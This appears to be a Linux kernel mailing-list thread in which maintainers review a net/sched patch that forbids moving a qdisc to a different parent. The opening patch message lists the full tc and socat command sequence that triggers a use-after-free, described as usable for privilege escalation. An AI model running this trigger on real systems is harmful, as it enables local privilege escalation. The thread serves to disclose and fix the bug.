net: sched: Disallow replacing of child qdisc from one parent to another
Subsystems (3)
Jamal Hadi Salim
maintainerPATCH v3 1/1 net: sched: Disallow replacing of child qdisc from one parent to another
Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script
Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr
step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr
step3. a class for nesting
tc class add dev lo classid 1:2 drr
step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr
step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr
step7.
tc class add dev lo classid 3:1 drr
step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
step 9. Display the class/qdisc layout
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 limit 1000p
qdisc drr 3: dev lo parent 1:2
step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0
step 11. Redisplay again the qdiscs/classes
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 1:3 root leaf 4: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2
Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.
Step 12. send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1
The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config".
Joint work with Lion Ackermann <[email protected]>
--- net/sched/sch_api.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-)
net/sched/sch_api.c +8 -2
@@ -1612,7 +1612,7 @@ static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n,struct nlattr *tca[TCA_MAX +1 ];struct net_device *dev;u32 clid; -struct Qdisc *q, *p; +struct Qdisc *leaf_q, *q, *p;int err; replay:
@@ -1624,7 +1624,7 @@ static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n, tcm =nlmsg_data (n); clid = tcm->tcm_parent; - q = p =NULL ; + leaf_q = q = p =NULL ; dev =__dev_get_by_index (net, tcm->tcm_ifindex);if (!dev)
@@ -1640,6 +1640,7 @@ static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n,return -ENOENT ; } q =qdisc_leaf (p, clid); + leaf_q = q; }else if (dev_ingress_queue_create (dev)) { q =rtnl_dereference (dev_ingress_queue (dev)->qdisc_sleeping); }
@@ -1673,6 +1674,11 @@ static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n,NL_SET_ERR_MSG (extack,"Invalid qdisc name" );return -EINVAL ; } +if (leaf_q && leaf_q->parent != q->parent) { +NL_SET_ERR_MSG (extack,"Invalid Parent for operation" ); +return -EINVAL ; + } +if (q->flags &TCQ_F_INGRESS ) {NL_SET_ERR_MSG (extack,"Cannot regraft ingress or clsact Qdiscs" );
Signature · 1 line
2.34.1
Jakub Kicinski
maintainerQuoted 5 lines · On Sat, 11 Jan 2025 10:14:55 -0500 Jamal Hadi Salim wrote:
The semantics of "replace" is for a del/add
_onthe samenode_and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config".
Your explanation reads like you want to prevent a qdisc changing from one parent to another.
net/sched/sch_api.c static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n, · line 1680
Quoted 4 lines
net/sched/sch_api.c +4
-0+if (leaf_q && leaf_q->parent != q->parent) { +NL_SET_ERR_MSG (extack,"Invalid Parent for operation" ); +return -EINVAL ; + }
But this test looks at the full parent path, not the major. So the only case you allow is replacing the node.. with itself?
Did you mean to wrap these in TC_H_MAJ() || the parent comparison is redundant || I misunderstand?
Jamal Hadi Salim
maintainerQuoted 11 lines · Jakub Kicinski
Quoted 5 lines · On Sat, 11 Jan 2025 10:14:55 -0500 Jamal Hadi Salim wrote:
The semantics of "replace" is for a del/add
_onthe samenode_and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config".Your explanation reads like you want to prevent a qdisc changing from one parent to another.
Yes.
Quoted 8 lines
net/sched/sch_api.c static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n, · line 1680
Quoted 4 lines
net/sched/sch_api.c +4
-0+if (leaf_q && leaf_q->parent != q->parent) { +NL_SET_ERR_MSG (extack,"Invalid Parent for operation" ); +return -EINVAL ; + }But this test looks at the full parent path, not the major. So the only case you allow is replacing the node.. with itself?
Yes.
Quoted 2 lines
Did you mean to wrap these in
TC_H_MAJ()|| the parent comparison is redundant || I misunderstand?
I may be missing something - what does TC_H_MAJ() provide? The 3:1 and 1:3 in that example are both descendants of the same parent. It could have been 1:3 vs 1:2 and the same rules would apply.
cheers,
jamal
Jakub Kicinski
maintainerQuoted 11 lines · On Wed, 15 Jan 2025 09:15:31 -0500 Jamal Hadi Salim wrote:
Quoted 9 lines · On Sat, 11 Jan 2025 10:14:55 -0500 Jamal Hadi Salim wrote:
Quoted 5 lines
The semantics of "replace" is for a del/add
_onthe samenode_and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config".Your explanation reads like you want to prevent a qdisc changing from one parent to another.
Yes.
In the selftest with mq Victor updated I'd say we're not changing the parent. We replace one child of mq with another.
TC noobs would say mq is the parent.
Quoted 9 lines
Quoted 8 lines
net/sched/sch_api.c static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n, · line 1680
Quoted 4 lines
net/sched/sch_api.c +4
-0+if (leaf_q && leaf_q->parent != q->parent) { +NL_SET_ERR_MSG (extack,"Invalid Parent for operation" ); +return -EINVAL ; + }But this test looks at the full parent path, not the major. So the only case you allow is replacing the node.. with itself?
Quoted 8 lines
Yes.
Quoted 2 lines
Did you mean to wrap these in
TC_H_MAJ()|| the parent comparison is redundant || I misunderstand?I may be missing something - what does
TC_H_MAJ()provide? The 3:1 and 1:3 in that example are both descendants of the same parent. It could have been 1:3 vs 1:2 and the same rules would apply.
Let me flip the question. What qdisc movement / grafts are you intending to still support?
From the report it sounds like we don't want to support _any_ movement of existing qdiscs within the hierarchy. Only purpose of graft would be to install a new / fresh qdisc as a child.
Jamal Hadi Salim
maintainerQuoted 9 lines · Jakub Kicinski
Quoted 7 lines · On Wed, 15 Jan 2025 09:15:31 -0500 Jamal Hadi Salim wrote:
Quoted 7 lines · On Sat, 11 Jan 2025 10:14:55 -0500 Jamal Hadi Salim wrote:
Quoted 5 lines
The semantics of "replace" is for a del/add
_onthe samenode_and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config".
Quoted 8 lines
Quoted 4 lines
Quoted 2 lines
Your explanation reads like you want to prevent a qdisc changing from one parent to another.
Yes.
In the selftest with mq Victor updated I'd say we're not changing the parent. We replace one child of mq with another.
TC noobs would say mq is the parent.
Yeah, Victor's test was to reduce the number of lines changed. IIRC, there was an _child_assert which would have to change to a different number given mq doesnt destroy the manually created qdiscs.
You can replace a queue attributes (eg queue size) or its algorithm (example change from pfifo to bfifo) in place - that doesnt change. What the patch avoids is taking that queue and moving it elsewhere or having it "shared"; that puts it in the funny state that was used in the exploit.
That was the ambiguity i was talking about in the earlier email.
Quoted 14 lines
Quoted 14 lines
Quoted 8 lines
net/sched/sch_api.c static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n, · line 1680
Quoted 4 lines
net/sched/sch_api.c +4
-0+if (leaf_q && leaf_q->parent != q->parent) { +NL_SET_ERR_MSG (extack,"Invalid Parent for operation" ); +return -EINVAL ; + }But this test looks at the full parent path, not the major. So the only case you allow is replacing the node.. with itself?
Yes.
Quoted 2 lines
Did you mean to wrap these in
TC_H_MAJ()|| the parent comparison is redundant || I misunderstand?
Quoted 7 lines
Quoted 3 lines
I may be missing something - what does
TC_H_MAJ()provide? The 3:1 and 1:3 in that example are both descendants of the same parent. It could have been 1:3 vs 1:2 and the same rules would apply.Let me flip the question. What qdisc movement / grafts are you intending to still support?
Grafting essentially boils down to a del/add of a qdisc. The
ambiguities: Does it mean deleting it from one hierachy point and adding it to another point? Or does it mean not deleting it from the first location but making it available in the other one?
Quoted 3 lines
From the report it sounds like we don't want to support _any_ movement of existing qdiscs within the hierarchy. Only purpose of graft would be to install a new / fresh qdisc as a child.
That sounded like the safest approach. If there is a practical use for moving queues around (I am not aware of any, doesnt mean there is no practical use) then we can do the much bigger surgery.
cheers,
jamal
Jakub Kicinski
maintainerQuoted 13 lines · On Wed, 15 Jan 2025 09:53:27 -0500 Jamal Hadi Salim wrote:
Quoted 7 lines
Quoted 3 lines
I may be missing something - what does
TC_H_MAJ()provide? The 3:1 and 1:3 in that example are both descendants of the same parent. It could have been 1:3 vs 1:2 and the same rules would apply.Let me flip the question. What qdisc movement / grafts are you intending to still support?
Grafting essentially boils down to a del/add of a qdisc. The
ambiguities: Does it mean deleting it from one hierachy point and adding it to another point? Or does it mean not deleting it from the first location but making it available in the other one?
Quoted 7 lines
Quoted 3 lines
From the report it sounds like we don't want to support _any_ movement of existing qdiscs within the hierarchy. Only purpose of graft would be to install a new / fresh qdisc as a child.
That sounded like the safest approach. If there is a practical use for moving queues around (I am not aware of any, doesnt mean there is no practical use) then we can do the much bigger surgery.
So coming back to the code I would have expected the patch to look something along the lines of:
net/sched/sch_api.c +4 -0
@@ -1664,6 +1664,10 @@ static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n, q =qdisc_lookup (dev, tcm->tcm_handle);if (!q) goto create_n_graft; +if (q->parent != tcm->tcm_parent) { +NL_SET_ERR_MSG (extack,"Cannot move an existing qdisc to a different parent" ); +return -EINVAL ; + }if (n->nlmsg_flags &NLM_F_EXCL ) {NL_SET_ERR_MSG (extack,"Exclusivity flag on, cannot override" );return -EEXIST ;
Whether a real (non-default) leaf already existed in that spot is not important..
Jamal Hadi Salim
maintainerQuoted 31 lines · Jakub Kicinski
Quoted 13 lines · On Wed, 15 Jan 2025 09:53:27 -0500 Jamal Hadi Salim wrote:
Quoted 7 lines
Quoted 3 lines
I may be missing something - what does
TC_H_MAJ()provide? The 3:1 and 1:3 in that example are both descendants of the same parent. It could have been 1:3 vs 1:2 and the same rules would apply.Let me flip the question. What qdisc movement / grafts are you intending to still support?
Grafting essentially boils down to a del/add of a qdisc. The
ambiguities: Does it mean deleting it from one hierachy point and adding it to another point? Or does it mean not deleting it from the first location but making it available in the other one?Quoted 7 lines
Quoted 3 lines
From the report it sounds like we don't want to support _any_ movement of existing qdiscs within the hierarchy. Only purpose of graft would be to install a new / fresh qdisc as a child.
That sounded like the safest approach. If there is a practical use for moving queues around (I am not aware of any, doesnt mean there is no practical use) then we can do the much bigger surgery.
So coming back to the code I would have expected the patch to look something along the lines of:
net/sched/sch_api.c +0
-0
net/sched/sch_api.c static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n, · line 1670
Quoted 7 lines
net/sched/sch_api.c +4
-0@@ -1664,6 +1664,10 @@ static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n, q =qdisc_lookup (dev, tcm->tcm_handle);if (!q) goto create_n_graft; +if (q->parent != tcm->tcm_parent) { +NL_SET_ERR_MSG (extack,"Cannot move an existing qdisc to a different parent" ); +return -EINVAL ; + }
Yes, this should work as well - doesnt have to save the leaf_q, so more optimal. Please send the patch.
cheers,
jamal
Quoted 7 lines
net/sched/sch_api.c +0
-0if (n->nlmsg_flags &NLM_F_EXCL ) {NL_SET_ERR_MSG (extack,"Exclusivity flag on, cannot override" );return -EEXIST ;Whether a real (non-default) leaf already existed in that spot is not important..
Jakub Kicinski
maintainerQuoted 7 lines · On Wed, 15 Jan 2025 15:39:43 -0500 Jamal Hadi Salim wrote:
Quoted 7 lines
net/sched/sch_api.c +0
-0@@ -1664,6 +1664,10 @@ static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n, q =qdisc_lookup (dev, tcm->tcm_handle);if (!q)
Quoted 8 lines
net/sched/sch_api.c static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n, · line 1670
Quoted 5 lines
net/sched/sch_api.c +4
-0goto create_n_graft; +if (q->parent != tcm->tcm_parent) { +NL_SET_ERR_MSG (extack,"Cannot move an existing qdisc to a different parent" ); +return -EINVAL ; + }Yes, this should work as well - doesnt have to save the
leaf_q, so more optimal. Please send the patch.
I'm gonna keep your commit and just post a v4, hope that's okay.
Jamal Hadi Salim
maintainerQuoted 18 lines · Jakub Kicinski
Quoted 7 lines · On Wed, 15 Jan 2025 15:39:43 -0500 Jamal Hadi Salim wrote:
Quoted 7 lines
net/sched/sch_api.c +0
-0@@ -1664,6 +1664,10 @@ static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n, q =qdisc_lookup (dev, tcm->tcm_handle);if (!q)Quoted 8 lines
net/sched/sch_api.c static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n, · line 1670
Quoted 5 lines
net/sched/sch_api.c +4
-0goto create_n_graft; +if (q->parent != tcm->tcm_parent) { +NL_SET_ERR_MSG (extack,"Cannot move an existing qdisc to a different parent" ); +return -EINVAL ; + }Yes, this should work as well - doesnt have to save the
leaf_q, so more optimal. Please send the patch.
Quoted 1 line
I'm gonna keep your commit and just post a v4, hope that's okay.
Thanks!
cheers,
jamal